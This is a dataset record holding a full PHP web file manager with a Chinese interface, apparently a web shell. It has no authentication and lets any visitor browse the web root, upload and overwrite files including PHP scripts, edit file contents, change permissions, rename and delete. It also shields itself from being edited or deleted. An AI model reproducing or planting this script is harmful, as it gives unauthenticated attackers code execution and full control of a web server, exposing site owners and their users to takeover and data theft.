{'id': 183207, 'code': 'Y2gQopBX
<?php
session_start();
$root = rtrim(realpath($_SERVER['DOCUMENT_ROOT']), DIRECTORY_SEPARATOR);
$current_script = realpath(__FILE__);
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if ($dir === false || strpos($dir, $root) !== 0) {
$dir = $root;
}
$msg = '';
$msg_type = 'success';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['savefile']) && !empty($_POST['file'])) {
$file = realpath($_POST['file']);
if ($file && strpos($file, $root) === 0 && is_file($file) && $file !== $current_script) {
$ok = @file_put_contents($file, $_POST['content'] ?? '');
$msg = $ok !== false ? "文件保存成功!" : "保存失败(权限不足)";
$msg_type = $ok !== false ? "success" : "error";
} else {
$msg = "禁止编辑文件管理器自身";
$msg_type = "error";
}
}
elseif (isset($_POST['action'])) {
header('Content-Type: application/json');
$response = ['success' => false, 'msg' => '操作失败'];
switch ($_POST['action']) {
case 'chmod':
$p = realpath($_POST['path'] ?? '');
$mode = $_POST['chmod'] ?? '';
if ($p && strpos($p, $root) === 0 && preg_match('/^0?\d{3,4}$/', $mode)) {
$ok = @chmod($p, octdec($mode));
$response = ['success' => $ok, 'msg' => $ok ? '权限修改成功' : '修改失败(权限不足)'];
} else {
$response['msg'] = '路径非法或权限格式错误';
}
break;
case 'rename':
$old = realpath($_POST['old'] ?? '');
$newName = preg_replace('/[^a-zA-Z0-9_.-]/', '', $_POST['new'] ?? '');
if ($old && $newName && strpos($old, $root) === 0 && $old !== $current_script) {
$new = dirname($old) . DIRECTORY_SEPARATOR . $newName;
if (file_exists($new)) {
$response['msg'] = '目标名称已存在';
} else {
$ok = @rename($old, $new);
$response = ['success' => $ok, 'msg' => $ok ? '重命名成功' : '重命名失败'];
}
} else {
$response['msg'] = '路径非法';
}
break;
case 'mkdir':
$name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $_POST['name'] ?? '');
if ($name) {
$np = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
if (!file_exists($np)) {
$ok = @mkdir($np, 0755, true);
$response = ['success' => $ok, 'msg' => $ok ? '创建成功' : '创建失败'];
} else {
$response['msg'] = '文件夹已存在';
}
}
break;
case 'mkfile':
$name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $_POST['name'] ?? '');
if ($name) {
$np = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
if (!file_exists($np)) {
$ok = @file_put_contents($np, "<?php\n// 新建文件\n");
$response = ['success' => $ok !== false, 'msg' => $ok ? '创建成功' : '创建失败'];
} else {
$response['msg'] = '文件已存在';
}
}
break;
case 'delete':
$p = realpath($_POST['path'] ?? '');
if ($p && strpos($p, $root) === 0 && $p !== $current_script) {
$ok = is_file($p) ? @unlink($p) : @rmdir($p);
$response = ['success' => $ok, 'msg' => $ok ? '删除成功' : '删除失败'];
}
break;
case 'save_file':
$file = realpath($_POST['file'] ?? '');
if ($file && strpos($file, $root) === 0 && is_file($file) && $file !== $current_script) {
$ok = @file_put_contents($file, $_POST['content'] ?? '');
$response = ['success' => $ok !== false, 'msg' => $ok ? '保存成功' : '保存失败'];
} else {
$response['msg'] = '禁止编辑自身文件';
}
break;
case 'upload':
$uploaded = $failed = 0;
if (!empty($_FILES['files']['name'])) {
foreach ($_FILES['files']['name'] as $i => $orig_name) {
if ($_FILES['files']['error'][$i] !== UPLOAD_ERR_OK) {
$failed++;
continue;
}
$tmp = $_FILES['files']['tmp_name'][$i];
$name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $orig_name);
$dest = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
// 直接覆盖已存在文件
if (move_uploaded_file($tmp, $dest)) $uploaded++;
else $failed++;
}
}
$response = ['success' => true, 'msg' => "上传完成:成功覆盖/上传 {$uploaded} 个,失败 {$failed} 个"];
break;
}
echo json_encode($response);
exit;
}
}
$edit_file = '';
$edit_content = '';
$edit_error = '';
if (isset($_GET['edit']) && !empty($_GET['edit'])) {
$edit_file = realpath($_GET['edit']);
if ($edit_file && strpos($edit_file, $root) === 0) {
if ($edit_file === $current_script) {
$edit_error = "禁止编辑文件管理器自身!";
} elseif (is_file($edit_file)) {
$edit_content = @file_get_contents($edit_file);
if ($edit_content === false) $edit_error = "无法读取文件内容";
} else {
$edit_error = "文件不存在";
}
} else {
$edit_error = "路径非法";
}
}
function fm_perm($p) {
$perms = fileperms($p);
$info = is_dir($p) ? 'd' : '-';
$info .= ($perms & 0x0100) ? 'r' : '-';
$info .= ($perms & 0x0080) ? 'w' : '-';
$info .= ($perms & 0x0040) ? 'x' : '-';
$info .= ($perms & 0x0020) ? 'r' : '-';
$info .= ($perms & 0x0010) ? 'w' : '-';
$info .= ($perms & 0x0008) ? 'x' : '-';
$info .= ($perms & 0x0004) ? 'r' : '-';
$info .= ($perms & 0x0002) ? 'w' : '-';
$info .= ($perms & 0x0001) ? 'x' : '-';
return $info;
}
function fm_size($bytes) {
if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
$breadcrumb = [];
$path_parts = explode(DIRECTORY_SEPARATOR, $dir);
$current = '';
foreach ($path_parts as $part) {
if ($part === '') continue;
$current .= ($current ? DIRECTORY_SEPARATOR : '') . $part;
$breadcrumb[] = ['name' => $part, 'path' => $current];
}
$files = array_diff(scandir($dir), ['.', '..']);
$dirs = $file_list = [];
foreach ($files as $f) {
$p = $dir . DIRECTORY_SEPARATOR . $f;
is_dir($p) ? $dirs[] = $f : $file_list[] = $f;
}
sort($dirs); sort($file_list);
$sorted_files = array_merge($dirs, $file_list);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>文件管理器</title>
<style>
*{box-sizing:border-box}
body{font-family:system-ui,sans-serif;background:#f8f9fa;padding:20px}
.container{max-width:1400px;margin:auto}
.msg{padding:12px 16px;border-radius:8px;margin-bottom:15px}
.msg.success{background:#d4edda;color:#155724}
.msg.error{background:#f8d7da;color:#721c24}
.nav{background:#fff;padding:12px;border-radius:8px;margin-bottom:15px}
table{width:100%;background:#fff;border-collapse:collapse;border-radius:8px;overflow:hidden}
th,td{padding:12px;text-align:left;border-bottom:1px solid #eee}
th{background:#f1f3f5}
.action-btn{padding:6px 12px;margin:0 4px;border:none;border-radius:4px;cursor:pointer;font-size:13px}
.btn-danger{background:#dc3545;color:white}
.btn-primary{background:#007bff;color:white}
.editor-box{background:#fff;padding:20px;border-radius:8px;border:1px solid #ddd;margin:20px 0}
textarea{width:100%;height:420px;font-family:monospace}
.chmod-input{width:80px;padding:5px}
</style>
</head>
<body>
<div class="container">
<?php if ($msg): ?>
<div class="msg <?= $msg_type ?>"><?= htmlspecialchars($msg) ?></div>
<?php endif; ?>
<?php if ($edit_error): ?>
<div class="msg error"><?= htmlspecialchars($edit_error) ?></div>
<?php elseif ($edit_file): ?>
<div class="editor-box">
<h3>正在编辑:<?= htmlspecialchars(basename($edit_file)) ?></h3>
<form method="post">
<input type="hidden" name="file" value="<?= htmlspecialchars($edit_file) ?>">
<textarea name="content"><?= htmlspecialchars($edit_content) ?></textarea>
<p style="margin-top:15px">
<button type="submit" name="savefile" class="btn-primary">💾 保存文件</button>
<a href="?dir=<?= urlencode($dir) ?>" style="margin-left:15px;color:#666">取消</a>
</p>
</form>
</div>
<?php endif; ?>
<div class="nav">
当前位置:
<?php foreach ($breadcrumb as $i => $b): ?>
<?php if($i>0) echo ' / '; ?>
<a href="?dir=<?= urlencode($b['path']) ?>"><?= htmlspecialchars($b['name']) ?></a>
<?php endforeach; ?>
</div>
<div style="margin-bottom:15px;background:#fff;padding:15px;border-radius:8px;border:1px solid #ddd">
<form id="uploadForm" enctype="multipart/form-data">
<input type="file" name="files[]" id="fileInput" multiple>
<button type="button" onclick="uploadFiles()" class="btn-primary">批量上传文件</button>
</form>
<div id="uploadStatus" style="margin-top:8px"></div>
</div>
<div style="margin-bottom:15px;display:flex;gap:10px;flex-wrap:wrap">
<input type="text" id="mkdirName" placeholder="新建文件夹" style="padding:8px">
<button onclick="createFolder()" class="btn-primary">创建文件夹</button>
<input type="text" id="mkfileName" placeholder="新建文件名称" style="padding:8px">
<button onclick="createFile()" class="btn-primary">创建文件</button>
</div>
<table>
<thead>
<tr>
<th>名称</th>
<th>权限</th>
<th>大小</th>
<th>修改时间</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="?dir=<?= urlencode(dirname($dir)) ?>">↑ 返回上级目录</a></td>
<td colspan="4"></td>
</tr>
<?php foreach ($sorted_files as $f):
$p = $dir . DIRECTORY_SEPARATOR . $f;
$isDir = is_dir($p);
?>
<tr>
<td>
<?php if($isDir): ?>
<a href="?dir=<?= urlencode($p) ?>"><?= htmlspecialchars($f) ?></a>
<?php else: ?>
<?= htmlspecialchars($f) ?>
<?php endif; ?>
</td>
<td>
<?= fm_perm($p) ?>
<input type="text" class="chmod-input" id="chmod_<?= md5($p) ?>" value="0755" style="margin-left:8px">
<button onclick="singleChmod('<?= addslashes($p) ?>', 'chmod_<?= md5($p) ?>')" class="action-btn btn-primary">修改权限</button>
</td>
<td><?= $isDir ? '-' : fm_size(filesize($p)) ?></td>
<td><?= date('Y-m-d H:i', filemtime($p)) ?></td>
<td>
<?php if(!$isDir): ?>
<button onclick="editFile('<?= addslashes($p) ?>')" class="action-btn btn-primary">编辑</button>
<?php endif; ?>
<button onclick="renameItem('<?= addslashes($p) ?>')" class="action-btn">重命名</button>
<button onclick="deleteItem('<?= addslashes($p) ?>')" class="action-btn btn-danger">删除</button>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<script>
async function api(action, data = {}) {
const form = new FormData();
form.append('action', action);
for (let key in data) form.append(key, data[key]);
const res = await fetch('?', { method: 'POST', body: form });
return await res.json();
}
async function singleChmod(path, inputId) {
const modeInput = document.getElementById(inputId);
let newMode = modeInput ? modeInput.value.trim() : '';
if (!newMode) {
newMode = prompt('请输入新权限 (如 0755):', '0755');
}
if (!newMode || !/^\d{3,4}$/.test(newMode)) {
return alert('权限格式错误,请输入如 0755');
}
const r = await api('chmod', {path: path, chmod: newMode});
alert(r.msg);
if (r.success) location.reload();
}
async function renameItem(oldPath) {
const newName = prompt('请输入新名称:', oldPath.split(/[\\/]/).pop());
if (!newName) return;
const r = await api('rename', {old: oldPath, new: newName});
alert(r.msg);
if (r.success) location.reload();
}
async function createFolder() {
const name = document.getElementById('mkdirName').value.trim();
if (!name) return alert('请输入文件夹名称');
const r = await api('mkdir', {name});
alert(r.msg);
if (r.success) location.reload();
}
async function createFile() {
const name = document.getElementById('mkfileName').value.trim();
if (!name) return alert('请输入文件名');
const r = await api('mkfile', {name});
alert(r.msg);
if (r.success) location.reload();
}
async function deleteItem(path) {
if (!confirm('确定删除?')) return;
const r = await api('delete', {path});
alert(r.msg);
if (r.success) location.reload();
}
function editFile(path) {
location.href = '?edit=' + encodeURIComponent(path) + '&dir=' + encodeURIComponent('<?= addslashes($dir) ?>');
}
async function uploadFiles() {
const files = document.getElementById('fileInput').files;
if (!files.length) return alert('请选择文件');
const status = document.getElementById('uploadStatus');
status.innerHTML = `正在上传 ${files.length} 个文件...`;
const formData = new FormData(document.getElementById('uploadForm'));
formData.append('action', 'upload');
try {
const res = await fetch('?', {method: 'POST', body: formData});
const r = await res.json();
status.innerHTML = `<span style="color:${r.success ? 'green' : 'red'}">${r.msg}</span>`;
if (r.success) setTimeout(() => location.reload(), 800);
} catch(e) {
status.innerHTML = '<span style="color:red">上传失败</span>';
}
}
</script>
</body>
</html>